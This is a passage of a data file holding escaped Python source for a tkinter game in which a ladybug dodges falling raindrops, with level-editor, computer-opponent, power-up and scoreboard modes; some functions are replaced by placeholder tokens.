data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n 